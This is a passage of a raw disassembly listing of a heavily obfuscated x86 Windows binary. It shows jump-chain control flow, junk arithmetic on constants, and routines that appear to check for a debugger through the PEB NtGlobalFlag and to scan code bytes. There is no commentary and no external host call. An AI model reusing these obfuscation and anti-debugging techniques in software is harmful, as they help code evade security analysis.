EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE3A loc_42C6C2: ; CODE XREF: sub_42DE3A+51Dj jmp nullsub_221 ; END OF FUNCTION CHUNK FOR sub_42DE3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42C6C7: ; CODE XREF: sub_4253F4-161Dj jmp loc_4271FF ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426319 loc_42C6CC: ; CODE XREF: _0182ofla:loc_42585Fj ; sub_426319:loc_42C119j ror eax, 12h mov ds:dword_423194, eax locret_42C6D5: ; CODE XREF: sub_4271D2:loc_42B56Aj retn ; END OF FUNCTION CHUNK FOR sub_426319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAFE loc_42C6D6: ; CODE XREF: sub_42EAFE-3CEFj jmp sub_429ED3 ; END OF FUNCTION CHUNK FOR sub_42EAFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4271D2 loc_42C6DB: ; CODE XREF: sub_42AC07-3DEBj ; sub_4271D2+2049j rol eax, 12h push eax call sub_424CD8 retn ; END OF FUNCTION CHUNK FOR sub_4271D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AC07 loc_42C6E5: ; CODE XREF: sub_42AC07-7B6Cj jmp loc_423185 ; END OF FUNCTION CHUNK FOR sub_42AC07 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42C6EB proc near ; CODE XREF: sub_428E8D+2p push large dword ptr fs:0 call sub_42A438 loc_42C6F7: ; CODE XREF: sub_42A438:loc_42B3B8j call sub_42EA47 call sub_424072 mov edx, [ebx+3Ch] mov edx, [ebx+edx+80h] or edx, edx jz loc_42D510 jmp loc_42E87F sub_42C6EB endp ; =============== S U B R O U T I N E ======================================= sub_42C718 proc near ; CODE XREF: _0182ofla:loc_42DEFFp var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424594 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004270C1 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042770A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004290E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429DBE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042C45B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0042C6B3 SIZE 0000000E BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_429DBE sub_42C718 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CA29 loc_42C729: ; CODE XREF: sub_42CA29+11j jnb loc_42A346 test edi, eax jmp loc_426DF4 ; END OF FUNCTION CHUNK FOR sub_42CA29 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- adc ecx, 60553ECFh jmp sub_429AC6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_42C743: ; CODE XREF: sub_42EAB7:loc_4285F9j or eax, edx jmp loc_425AC8 ; --------------------------------------------------------------------------- loc_42C74A: ; CODE XREF: sub_42EAB7:loc_42A9B2j cmp dword ptr [ebp-1Ch], 0Fh jnz loc_4287A3 call sub_428205 loc_42C759: ; CODE XREF: _0182ofla:0042A5CDj jmp loc_423BF9 ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42C75E: ; CODE XREF: sub_428D63-3D68j jmp loc_42B760 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42C763: ; CODE XREF: sub_423FCD:loc_42B389j jge loc_42C2AE test edx, esi jmp loc_4237AC ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42583B loc_42C770: ; CODE XREF: sub_42583B+12j jnz loc_42C929 jmp loc_426ED5 ; END OF FUNCTION CHUNK FOR sub_42583B ; =============== S U B R O U T I N E ======================================= sub_42C77B proc near ; CODE XREF: sub_42E102j ; DATA XREF: sub_4290FD+4FFBo add ebx, 0FF58C06Eh xchg ebx, [esp+0] jmp sub_426561 sub_42C77B endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DE3A loc_42C78A: ; CODE XREF: sub_42DE3A+1Fj jmp loc_424C41 ; END OF FUNCTION CHUNK FOR sub_42DE3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_42C78F: ; CODE XREF: sub_4282B8+551Cj jmp loc_42829A ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_42C794: ; CODE XREF: sub_427239-2BC7j jg loc_42E697 or edx, 383268A9h loc_42C7A0: ; CODE XREF: sub_427239:loc_42C5DAj push edi push 0C07A9980h ror edi, 18h jmp loc_427540 ; END OF FUNCTION CHUNK FOR sub_427239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42C7AE: ; CODE XREF: sub_42798F+5F85j pushf mov ebx, 0C98D3D28h and eax, 0B54DCAECh cmp ebx, 0AD134625h jmp loc_424A02 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428110 loc_42C7C5: ; CODE XREF: sub_428110-2807j ror eax, 15h xor esi, 79CDB9h pushf add edx, 0E81BF3A0h jmp loc_42DCAC ; END OF FUNCTION CHUNK FOR sub_428110 ; --------------------------------------------------------------------------- shr eax, 1Ch jmp loc_42A41B ; --------------------------------------------------------------------------- loc_42C7E2: ; CODE XREF: _0182ofla:0042617Bj add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 0A0h jmp loc_426446 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_200. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42C7FE proc near ; CODE XREF: sub_42931E-24A7p ; _0182ofla:0042A25Bj ; FUNCTION CHUNK AT 00428F09 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A37D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042B2CE SIZE 0000000B BYTES xchg ebx, [esp+0] pop ebx mov eax, [eax+18h] dec eax test eax, eax jl loc_426260 inc eax mov [ebp-1Ch], eax jmp loc_42A37D sub_42C7FE endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42C817: ; CODE XREF: _0182ofla:004242A7j sub edx, 0BD004881h loc_42C81D: ; CODE XREF: _0182ofla:loc_429C26j mov byte ptr [ebp-806h], 0 mov byte ptr [ebp-805h], 0 mov byte ptr [ebp-804h], 0 jmp loc_426A9E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_85. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_42C839: ; CODE XREF: sub_42B669-1DC5j rol eax, 19h call sub_42816D ; END OF FUNCTION CHUNK FOR sub_42B669 ; START OF FUNCTION CHUNK FOR sub_42E218 loc_42C841: ; CODE XREF: sub_42E218-62Dj jnz loc_429A05 add ebp, 0E48D9FFFh jmp loc_4280E1 ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- popf jmp loc_427B9A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_42C858: ; CODE XREF: sub_42AAF8:loc_423FC8j and esi, edi cmp ecx, 4E20EF00h jmp loc_425F72 ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A420 loc_42C865: ; CODE XREF: sub_42A420+3C3Ej rol ebp, 1Bh jmp loc_42C493 ; END OF FUNCTION CHUNK FOR sub_42A420 ; --------------------------------------------------------------------------- loc_42C86D: ; CODE XREF: _0182ofla:004259EEj rol ebx, 1Eh ; =============== S U B R O U T I N E ======================================= sub_42C870 proc near ; CODE XREF: sub_42CC59+1C9Dp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004236D5 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx loc_42C874: ; CODE XREF: _0182ofla:loc_4277ADj mov edx, offset loc_4230DF xchg edx, [esp-4+arg_0] jmp loc_4236D5 sub_42C870 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42445E loc_42C881: ; CODE XREF: sub_42445E:loc_426ABEj add eax, ebp add eax, 2FEFFD1Ch mov eax, [eax] pop ecx pop ebp retn 4 ; END OF FUNCTION CHUNK FOR sub_42445E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427750 loc_42C890: ; CODE XREF: sub_427750+Dj jmp nullsub_141 ; END OF FUNCTION CHUNK FOR sub_427750 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42C895: ; CODE XREF: sub_4271AD+Cj ; sub_429B69+8j ... mov edx, [esp+0] mov al, 1 jmp loc_427011 ; END OF FUNCTION CHUNK FOR sub_423FCD ; =============== S U B R O U T I N E ======================================= sub_42C89F proc near ; CODE XREF: sub_428F20:loc_42AB80j ; sub_42DA9C+3j ; FUNCTION CHUNK AT 0042A613 SIZE 00000008 BYTES add esp, 0FFFFFFF8h push esi push 0C25AE6Ch pop esi sub esi, 5AB1AB31h xor esi, 6AF7446Dh add esi, 24BFA061h jmp loc_42A613 sub_42C89F endp ; =============== S U B R O U T I N E ======================================= sub_42C8C0 proc near ; CODE XREF: _0182ofla:00424561j ; sub_42D056+411p ; FUNCTION CHUNK AT 00425D4B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042D295 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi cmp dword ptr [eax-0Ch], 4 jnz loc_42C8D7 add dword ptr [ebp-8], 4 jmp loc_42D295 ; --------------------------------------------------------------------------- loc_42C8D7: ; CODE XREF: sub_42C8C0+8j add dword ptr [ebp-8], 2 jmp loc_42D295 sub_42C8C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_42C8E0: ; CODE XREF: sub_425B00:loc_426821j ; sub_425B00+77B5j test byte ptr [ebp-8], 20h jmp loc_428939 ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_42C8E9: ; CODE XREF: sub_4298DD:loc_42B8CAj xchg eax, [esp+0] push 10h mov eax, [ebp+8] push eax push eax push 0C6EC1CA6h pop eax jmp loc_42B2BD ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- loc_42C8FE: ; CODE XREF: _0182ofla:loc_42D290j sub esi, ebp jmp loc_426058 ; --------------------------------------------------------------------------- loc_42C905: ; CODE XREF: _0182ofla:0042A9E7j pop ecx ; =============== S U B R O U T I N E ======================================= sub_42C906 proc near ; CODE XREF: sub_427445+4036p ; FUNCTION CHUNK AT 00423DC6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427E6A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042B3A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ED04 SIZE 00000007 BYTES xchg esi, [esp+0] pop esi mov eax, large fs:30h mov eax, [eax+68h] test eax, 70h jz loc_428CAC jmp loc_423DC6 sub_42C906 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42583B loc_42C924: ; CODE XREF: sub_42583B+393Bj mov edi, 254F5B55h loc_42C929: ; CODE XREF: sub_42583B:loc_42C770j mov eax, [ebp-4] mov eax, [eax] and eax, 0FFFFFFh cmp eax, 0C3C033h jnz loc_428E3A jmp loc_425CFA ; END OF FUNCTION CHUNK FOR sub_42583B ; --------------------------------------------------------------------------- lea eax, [ebp-14h] call sub_42A592 ; START OF FUNCTION CHUNK FOR sub_42A51F loc_42C94B: ; CODE XREF: sub_42A51F+8j jmp nullsub_105 ; END OF FUNCTION CHUNK FOR sub_42A51F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_42C950: ; CODE XREF: sub_428729:loc_42783Bj add esi, ebp add esi, eax test ebx, ecx jmp loc_42360A ; END OF FUNCTION CHUNK FOR sub_428729 ; =============== S U B R O U T I N E ======================================= sub_42C95B proc near ; DATA XREF: sub_4242FD+9F08o mov [edi], eax pop edi retn sub_42C95B endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42C95F: ; CODE XREF: _0182ofla:0042E0C0j jmp loc_427885 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B097 loc_42C964: ; CODE XREF: sub_42B097+1j jmp loc_42CAB7 ; END OF FUNCTION CHUNK FOR sub_42B097 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_42C969: ; CODE XREF: sub_42E689+2j rol eax, 0Ah push eax push offset sub_423716 jmp loc_426CCD ; END OF FUNCTION CHUNK FOR sub_42E689 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42C978: ; CODE XREF: _0182ofla:00425F2Ej popf ; =============== S U B R O U T I N E ======================================= sub_42C979 proc near ; CODE XREF: _0182ofla:0042E108p mov [esp+0], ebx pop ebx lea eax, [ebp-0Ch] push eax sub_42C979 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425063 loc_42C981: ; CODE XREF: sub_425063+Ej mov eax, [ebp-8] push eax jmp loc_425917 ; END OF FUNCTION CHUNK FOR sub_425063 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42C98A: ; CODE XREF: sub_42D056-8283j jnp loc_42A84E jmp loc_42D414 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- loc_42C995: ; CODE XREF: _0182ofla:00429D3Aj rol ebp, 15h ; =============== S U B R O U T I N E ======================================= sub_42C998 proc near ; CODE XREF: sub_426319+5DFBp arg_C = dword ptr 10h ; FUNCTION CHUNK AT 0042EBAB SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx or ebx, ecx and eax, 6816E9B3h xor eax, ebx add edx, eax xor eax, 0D4FBA740h jmp loc_42EBAB sub_42C998 endp ; sp-analysis failed ; --------------------------------------------------------------------------- js loc_427359 pushf jmp sub_429D83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_42C9BF: ; CODE XREF: sub_4298DD:loc_42492Fj ; sub_4298DD-558j push 7BC56260h xor [esp+4+var_4], 7BC56260h push eax push 50317EF9h pop eax add eax, 7B008C92h rol eax, 1Dh add eax, 8699BE8Fh jmp loc_42B8CA ; END OF FUNCTION CHUNK FOR sub_4298DD ; =============== S U B R O U T I N E ======================================= sub_42C9E6 proc near ; DATA XREF: _0182ofla:00423437o ; FUNCTION CHUNK AT 00425831 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D7E2 SIZE 0000000E BYTES push 6F40FB72h pop esi or esi, 2E95202Eh jns loc_42D7E2 sub_42C9E6 endp ; START OF FUNCTION CHUNK FOR sub_4258F5 loc_42C9F8: ; CODE XREF: sub_4258F5+9j jmp loc_425C38 ; END OF FUNCTION CHUNK FOR sub_4258F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_42C9FD: ; CODE XREF: sub_42537E+Ej jmp loc_42740F ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- mov edi, 78C0922Ah jmp loc_42D7D9 ; --------------------------------------------------------------------------- dd 0CF8BF681h, 8A0F5B31h, 0FFFFD0BBh, 0FFCA3EE9h db 0FFh ; --------------------------------------------------------------------------- loc_42CA1D: ; DATA XREF: sub_42798F:loc_42A7D0o mov dword ptr [ebp-8], 1 jmp loc_42AB5A ; =============== S U B R O U T I N E ======================================= sub_42CA29 proc near ; CODE XREF: sub_42E35C-A7F3j ; sub_4298DD+3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425413 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426DF4 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427DCC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A1BA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A346 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042B0A9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042C729 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042E149 SIZE 0000000A BYTES js loc_42E149 call sub_4235C7 loc_42CA34: ; CODE XREF: sub_4276BF+22ADj test edi, 7AAB88CEh jmp loc_42C729 sub_42CA29 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42CA3F: ; CODE XREF: _0182ofla:0042A467j add dword ptr [ebp-8], 2 jmp loc_42412F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CA48 proc near ; CODE XREF: sub_425B00+Ap ; sub_4294AA+4p var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh mov [ebp+var_4], eax mov eax, [ebp+var_4] movzx eax, byte ptr [eax] jmp loc_42ECBB sub_42CA48 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DBF0 loc_42CA5C: ; CODE XREF: sub_42DBF0:loc_428D9Dj mov ds:dword_427A20, eax jmp loc_42D379 ; END OF FUNCTION CHUNK FOR sub_42DBF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42CA66 proc near ; CODE XREF: sub_42DBF0j ; FUNCTION CHUNK AT 0042DC2D SIZE 00000013 BYTES push ebp mov ebp, esp push ecx cmp ds:dword_427A20, 0 jz loc_426F91 jmp loc_42DC2D sub_42CA66 endp ; --------------------------------------------------------------------------- locret_42CA7C: ; CODE XREF: _0182ofla:loc_425D3Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_42CA7D: ; CODE XREF: sub_42C553+Dj jmp loc_424971 ; END OF FUNCTION CHUNK FOR sub_42C553 ; --------------------------------------------------------------------------- locret_42CA82: ; CODE XREF: _0182ofla:0042E346j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E734 loc_42CA83: ; CODE XREF: sub_42E734+7j jmp loc_42515C ; END OF FUNCTION CHUNK FOR sub_42E734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_42CA88: ; CODE XREF: sub_425BF8-4D0j jmp loc_423448 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- loc_42CA8D: ; CODE XREF: _0182ofla:00428138j shr eax, 7 ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_42CA90: ; CODE XREF: sub_42AB3E-7564j or eax, ebx add esi, 5FF7425Eh shl esi, 6 jmp loc_42D884 ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42326C loc_42CAA0: ; CODE XREF: sub_42326C:loc_424685j push ecx mov esp, ebp pop ebp mov eax, ds:dword_424C20 or eax, eax jnz loc_426075 jmp loc_426BB6 ; END OF FUNCTION CHUNK FOR sub_42326C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B097 loc_42CAB7: ; CODE XREF: sub_42B097:loc_42C964j mov ebp, esp jns sub_423A42 push offset sub_423FFB jmp nullsub_107 ; END OF FUNCTION CHUNK FOR sub_42B097 ; =============== S U B R O U T I N E ======================================= sub_42CAC9 proc near ; CODE XREF: _0182ofla:00423281j ; sub_42D056:loc_42CBF6p ; FUNCTION CHUNK AT 00424697 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov [ebp-8], eax push 2 push offset sub_42B73E jmp loc_424697 sub_42CAC9 endp ; --------------------------------------------------------------------------- jnb loc_42924E jmp sub_426046 ; --------------------------------------------------------------------------- neg eax sbb eax, eax neg eax mov [ebp-5], al ; START OF FUNCTION CHUNK FOR sub_42798F loc_42CAF0: ; CODE XREF: sub_42798F:loc_427A2Dj jnb loc_428155 push offset sub_429203 jmp nullsub_111 ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_42CB00 proc near ; DATA XREF: sub_42798F:loc_42B4BFo ; FUNCTION CHUNK AT 0042AB64 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D3BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E3B6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042EB91 SIZE 0000001A BYTES xchg edx, [esp+0] mov eax, edx pop edx or eax, ds:4000F6h add eax, 943132h mov eax, [eax] or eax, eax jnz loc_42827B jmp loc_42AB64 sub_42CB00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_425D92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42CB26: ; CODE XREF: sub_423A2A+45E8j jnz loc_425926 push edi push 1CF355C4h call sub_4276E3 loc_42CB37: ; CODE XREF: sub_42D76D+1Dj jmp loc_428501 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_42CB3C: ; CODE XREF: sub_424707:loc_42B548j pop edx or edx, 6B34448Ch xor edx, 22F228A3h add ebx, edx pop edx add edx, eax jmp loc_42C523 ; END OF FUNCTION CHUNK FOR sub_424707 ; =============== S U B R O U T I N E ======================================= sub_42CB53 proc near ; DATA XREF: _0182ofla:loc_42D0F8o var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00425808 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0042861A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428F72 SIZE 0000000A BYTES push eax push eax push 103CBA99h xchg ecx, [esp+0Ch+var_C] mov eax, ecx pop ecx jmp loc_42861A sub_42CB53 endp ; --------------------------------------------------------------------------- loc_42CB65: ; CODE XREF: _0182ofla:loc_42CEE5j ; _0182ofla:0042CEF8j add edx, 0DE2CAA62h call sub_42D71D call sub_429BA2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_42CB76: ; CODE XREF: sub_424184+5254j jmp nullsub_114 ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- loc_42CB7B: ; CODE XREF: _0182ofla:00428657j jmp loc_42726F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427CD0 loc_42CB80: ; CODE XREF: sub_427CD0+9j jmp loc_42AEDC ; END OF FUNCTION CHUNK FOR sub_427CD0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_42CB85: ; CODE XREF: sub_426571:loc_427164j pop edx retn ; END OF FUNCTION CHUNK FOR sub_426571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A760 loc_42CB87: ; CODE XREF: sub_42A760+2481j jmp loc_428BF8 ; END OF FUNCTION CHUNK FOR sub_42A760 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_42CB8C: ; CODE XREF: sub_42D9A4:loc_4273A2j rol eax, 12h push edx mov [esp+0], eax retn ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_42CB94: ; CODE XREF: sub_425B00+35A1j jmp loc_42A76D ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_42CB99: ; CODE XREF: sub_4282B8-37F5j pop edi loc_42CB9A: ; CODE XREF: sub_4282B8-380Cj add ebx, 0A25211D9h push offset sub_42628D jmp loc_42A1C9 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_42A79E jmp loc_428AF4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_42CBC3: ; CODE XREF: sub_427259:loc_4276FEj pop ebp loc_42CBC4: ; CODE XREF: _0182ofla:00424416j push 7E147C2h pop eax add eax, 0F861100Eh jmp loc_42C3E3 ; END OF FUNCTION CHUNK FOR sub_427259 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D81E loc_42CBD6: ; CODE XREF: sub_42D81E+10j jmp loc_426364 ; END OF FUNCTION CHUNK FOR sub_42D81E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A760 loc_42CBDB: ; CODE XREF: sub_42A760+8j jz loc_42C390 jmp loc_42CB87 ; END OF FUNCTION CHUNK FOR sub_42A760 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42CBE6: ; CODE XREF: sub_42798F+28A3j pushf cdq push eax loc_42CBE9: ; CODE XREF: sub_42798F:loc_42B7C0j push 1 lea eax, [ebp-800h] jmp loc_42665D ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42CBF6: ; CODE XREF: sub_42D056:loc_428428j call sub_42CAC9 ; END OF FUNCTION CHUNK FOR sub_42D056 ; START OF FUNCTION CHUNK FOR sub_42448C loc_42CBFB: ; CODE XREF: sub_42448C:loc_42980Cj mov eax, [eax] add eax, [ebp+var_4] add eax, 18h mov [ebp+var_10], eax jmp loc_42AA86 ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42CC0B: ; CODE XREF: sub_425B6E:loc_428ABAj add [esi], ecx xor [esi], edx mov eax, 80000003h xor ebx, ebx xor ecx, ecx xor edx, edx jmp loc_424964 ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A915 loc_42CC1F: ; CODE XREF: sub_42A915:loc_427CFAj ; sub_42A915-966j call sub_42E01D loc_42CC24: ; CODE XREF: sub_427967+10j jmp loc_42398C ; END OF FUNCTION CHUNK FOR sub_42A915 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_42CC29: ; CODE XREF: sub_425BF8:loc_4260F6j jnz loc_42481C jmp loc_427EF9 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; =============== S U B R O U T I N E ======================================= sub_42CC34 proc near ; CODE XREF: sub_42AA7Aj ; DATA XREF: sub_42AA62+Eo ; FUNCTION CHUNK AT 0042DC55 SIZE 00000005 BYTES push esi push 75A14B32h pop esi rol esi, 1Fh jmp loc_42DC55 sub_42CC34 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_42CC43: ; CODE XREF: sub_42C553:loc_42AFDAj pop ecx loc_42CC44: ; CODE XREF: _0182ofla:00423B70j ; sub_427ED1+1B54j js loc_424218 cmp dword ptr [ebp-4], 0 jnz loc_428B5E jmp loc_42A67C ; END OF FUNCTION CHUNK FOR sub_42C553 ; =============== S U B R O U T I N E ======================================= sub_42CC59 proc near ; CODE XREF: sub_42CC59:loc_427C56p ; _0182ofla:0042E337j ; FUNCTION CHUNK AT 00425D04 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004268E2 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00427C56 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004297BA SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042D29F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E8F4 SIZE 00000007 BYTES xchg eax, [esp+0] pop eax jns loc_4297BA push 9E24434h mov eax, ecx jmp loc_429FB9 sub_42CC59 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42CC6F: ; CODE XREF: sub_428D63:loc_42DE5Ej ; _0182ofla:0042DE78j xor eax, 0C81EB03Bh add eax, ebp push edi push 31FD25Dh pop edi add edi, 3C65C033h add eax, edi jmp loc_423AA4 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4271AD loc_42CC8B: ; CODE XREF: sub_4271AD+14j push 0 push 0FFFFFFFFh push offset sub_42E734 jmp nullsub_118 ; END OF FUNCTION CHUNK FOR sub_4271AD ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42CC99 proc near ; CODE XREF: sub_425BED:loc_42E070j retn sub_42CC99 endp ; --------------------------------------------------------------------------- 